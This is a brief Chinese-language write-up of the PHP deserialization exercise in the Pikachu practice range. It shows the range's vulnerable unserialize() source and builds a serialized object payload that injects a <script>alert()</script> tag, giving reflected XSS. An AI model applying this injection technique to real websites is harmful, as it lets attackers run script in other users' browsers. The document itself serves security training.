pikachu靶场PHP反序列化漏洞
源码分析
查看源代码
class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}
// O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}
 
   
  - $s 接受上传的参数
 
$s = $_POST['o'];
 
  - 判断是否能够被反序列化,即上传的参数是否经过序列化
 
if(!@$unser = unserialize($s))
 
   
  - 如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct() ,$unser->test 用来输出反序列化后的对象的 test 属性的值到页面上
 
构造payload
<?php
class S{
    var $test = "<script>alert(/zs/)</script>";
}
    // 创建一个对象
    $s = new S();
    //把这个对象进行序列号输出
    print_r(serialize($s));
?>
 
  在浏览器访问后,发现 直接弹出一个提示框,是因为浏览器识别到 <script>标签 然后直接执行了,

可以把 <script> 标签的 < 用一个占位符代替,比如用 * 代替,代码如下
<?php
class S{
    var $test = "*script>alert(/zs/)*/script>";
}
    // 创建一个对象
    $s = new S();
    //把这个对象进行序列号输出
    print_r(serialize($s));
?>
 
  
然后讲 * 替换回 <
O:1:"S":1:{s:4:"test";s:28:"<script>alert(/zs/)</script>";}
 
  然后提交执行

完成!










